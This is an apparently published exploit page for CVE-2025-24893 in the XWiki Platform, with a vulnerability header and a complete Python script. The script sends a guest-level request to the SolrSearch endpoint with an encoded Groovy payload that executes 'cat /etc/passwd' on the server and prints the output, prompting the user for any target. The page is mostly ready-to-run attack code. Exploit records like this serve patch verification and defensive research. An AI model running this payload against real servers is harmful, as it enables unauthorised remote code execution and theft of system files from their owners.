XWiki Platform 15.10.10 – Remote Code Execution
# Exploit Title: XWiki Platform - Remote Code Execution # Exploit Author: Al Baradi Joy # Exploit Date: April 6, 2025 # CVE ID: CVE-2025-24893 # Vendor Homepage: https://www.xwiki.org/ # Software Link: https://github.com/xwiki/xwiki-platform # Version: Affected versions up to and including XWiki 15.10.10 # Tested Versions: XWiki 15.10.10 # Vulnerability Type: Remote Code Execution (RCE) # CVSS Score: 9.8 (Critical) # CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H # Description: # XWiki Platform suffers from a critical vulnerability where any guest user can # execute arbitrary code remotely through the SolrSearch endpoint. This can lead # to a full server compromise, including the ability to execute commands on the # underlying system. The vulnerability impacts the confidentiality, integrity, # and availability of the XWiki installation. The issue has been patched in XWiki # versions 15.10.11, 16.4.1, and 16.5.0RC1. # Proof of Concept: Yes # Categories: XWiki, Remote Code Execution, CVE-2025, RCE # References: # - GHSA Advisory: https://github.com/advisories/GHSA-rr6p-3pfg-562j # - NVD CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-24893 # - GitHub Exploit Link: https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py import requests # Banner def display_banner(): print("="*80) print("Exploit Title: CVE-2025-24893 - XWiki Platform Remote Code Execution") print("Exploit Author: Al Baradi Joy") print("GitHub Exploit: https://github.com/a1baradi/Exploit/blob/main/CVE-2025-24893.py") print("="*80) # Function to detect the target protocol (HTTP or HTTPS) def detect_protocol(domain): https_url = f"https://{domain}" http_url = f"http://{domain}" try: response = requests.get(https_url, timeout=5, allow_redirects=True) if response.status_code < 400: print(f"[✔] Target supports HTTPS: {https_url}") return https_url except requests.exceptions.RequestException: print("[!] HTTPS not available, falling back to HTTP.") try: response = requests.get(http_url, timeout=5, allow_redirects=True) if response.status_code < 400: print(f"[✔] Target supports HTTP: {http_url}") return http_url except requests.exceptions.RequestException: print("[✖] Target is unreachable on both HTTP and HTTPS.") exit(1) # Exploit function def exploit(target_url): target_url = detect_protocol(target_url.replace("http://", "").replace("https://", "").strip()) exploit_url = f"{target_url}/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" try: print(f"[+] Sending request to: {exploit_url}") response = requests.get(exploit_url, timeout=10) # Check if the exploit was successful if response.status_code == 200 and "root:" in response.text: print("[✔] Exploit successful! Output received:") print(response.text) else: print(f"[✖] Exploit failed. Status code: {response.status_code}") except requests.exceptions.ConnectionError: print("[✖] Connection failed. Target may be down.") except requests.exceptions.Timeout: print("[✖] Request timed out. Target is slow or unresponsive.") except requests.exceptions.RequestException as e: print(f"[✖] Unexpected error: {e}") # Main execution if __name__ == "__main__": display_banner() target = input("[?] Enter the target URL (without http/https): ").strip() exploit(target) |